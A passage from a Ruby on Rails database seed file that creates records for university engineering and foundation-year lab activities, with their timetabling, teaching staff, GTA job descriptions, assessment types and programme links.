$ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a552.id).first_or_create!(cost_per_student: nil, equip_needed: \"IT\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a552.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a553 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode32\").first_or_create!(name: \"Galileo\",\n name_abrv: \"GALILEO\", archived: true, in_drive: false, user_id: 4)\n at553 = ActivityTimetable.where(activity_id: a553.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at553.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a553.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a553.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a553.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a553.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a553.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a554 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode33\").first_or_create!(name: \"LED Lab (blue)\",\n name_abrv: \"BLUELED\", archived: false, in_drive: false, user_id: 1)\n at554 = ActivityTimetable.where(activity_id: a554.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 2, pref_room_id: $room_cr.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a554.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a554.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a554.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a554.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a554.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a555 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST\").first_or_create!(name: \"Torrell Test\",\n name_abrv: \"test\", archived: false, in_drive: false, user_id: 5)\n at555 = ActivityTimetable.where(activity_id: a555.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a555.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a555.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a555.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a555.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a556 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST.\").first_or_create!(name: \"Torrell Test2\",\n name_abrv: \"FCE001\", archived: false, in_drive: false, user_id: 1)\n at556 = ActivityTimetable.where(activity_id: a556.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a556.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a556.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a556.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a556.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a557 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode34\").first_or_create!(name: \"Extracurricular Activity\",\n name_abrv: \"NTA\", archived: false, in_drive: false, user_id: 2)\n at557 = ActivityTimetable.where(activity_id: a557.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a557.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a557.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a557.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a557.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a558 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode35\").first_or_create!(name: \"Project Space Induction\",\n name_abrv: \"PSIDUCT\", archived: true, in_drive: false, user_id: 4)\n at558 = ActivityTimetable.where(activity_id: a558.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a558.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a558.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a558.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a558.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a559 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode36\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA SCREW\", archived: true, in_drive: false, user_id: 4)\n at559 = ActivityTimetable.where(activity_id: a559.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a559.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a559.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a559.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a559.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a559.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a560 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode37\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA STIRING\", archived: true, in_drive: false, user_id: 1)\n at560 = ActivityTimetable.where(activity_id: a560.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a560.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a560.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a560.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a560.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a560.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a561 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1730\").first.id, code: \"unknowncode38\").first_or_create!(name: \"Hole-in-plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: false, user_id: 1)\n at561 = ActivityTimetable.where(activity_id: a561.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a561.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a561.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a561.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a561.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a561.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a562 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC330\").first.id, code: \"unknowncode39\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: true, in_drive: false, user_id: 3)\n at562 = ActivityTimetable.where(activity_id: a562.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a562.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a562.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a562.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a562.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a562.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a563 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode40\").first_or_create!(name: \"CFD Validation\",\n name_abrv: \"CFDVALID\", archived: true, in_drive: false, user_id: 4)\n at563 = ActivityTimetable.where(activity_id: a563.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a563.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a563.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a563.id).first_or_create!(assess_weight: nil, notes: \"NOT RUNNING\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a563.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a563.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a564 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"unknowncode41\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 4)\n at564 = ActivityTimetable.where(activity_id: a564.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a564.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a564.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a564.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a564.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a564.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a565 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"unknowncode42\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: true, in_drive: false, user_id: 4)\n at565 = ActivityTimetable.where(activity_id: a565.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 84, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a565.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a565.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a565.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a565.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a565.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a566 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"unknowncode43\").first_or_create!(name: \"Design and Build Project\",\n name_abrv: \"ShaddowBots\", archived: true, in_drive: false, user_id: 4)\n at566 = ActivityTimetable.where(activity_id: a566.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a566.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a566.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a566.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a566.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a566.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a567 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode44\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: true, in_drive: false, user_id: 1)\n at567 = ActivityTimetable.where(activity_id: a567.id).first_or_create!(duration: 180, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a567.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a567.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a567.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a567.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a568 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"unknowncode45\").first_or_create!(name: \"Time and Frequency Domain Servo Analysis Laboratory\",\n name_abrv: \"Servo T+F\", archived: true, in_drive: false, user_id: 4)\n at568 = ActivityTimetable.where(activity_id: a568.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a568.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a568.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a568.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a568.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a569 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"unknowncode46\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: true, in_drive: false, user_id: 3)\n at569 = ActivityTimetable.where(activity_id: a569.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 90, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a569.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a569.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a569.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a569.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a569.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a570 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"unknowncode47\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 5)\n at570 = ActivityTimetable.where(activity_id: a570.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a570.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a570.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a570.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a570.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a570.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a571 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode48\").first_or_create!(name: \"Introduction to Arduino – Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: true, in_drive: false, user_id: 4)\n at571 = ActivityTimetable.where(activity_id: a571.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a571.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a571.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a571.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a571.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a571.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a572 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode49\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: true, in_drive: false, user_id: 1)\n at572 = ActivityTimetable.where(activity_id: a572.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a572.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a572.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a572.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a572.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a572.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a573 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode50\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: true, in_drive: false, user_id: 1)\n at573 = ActivityTimetable.where(activity_id: 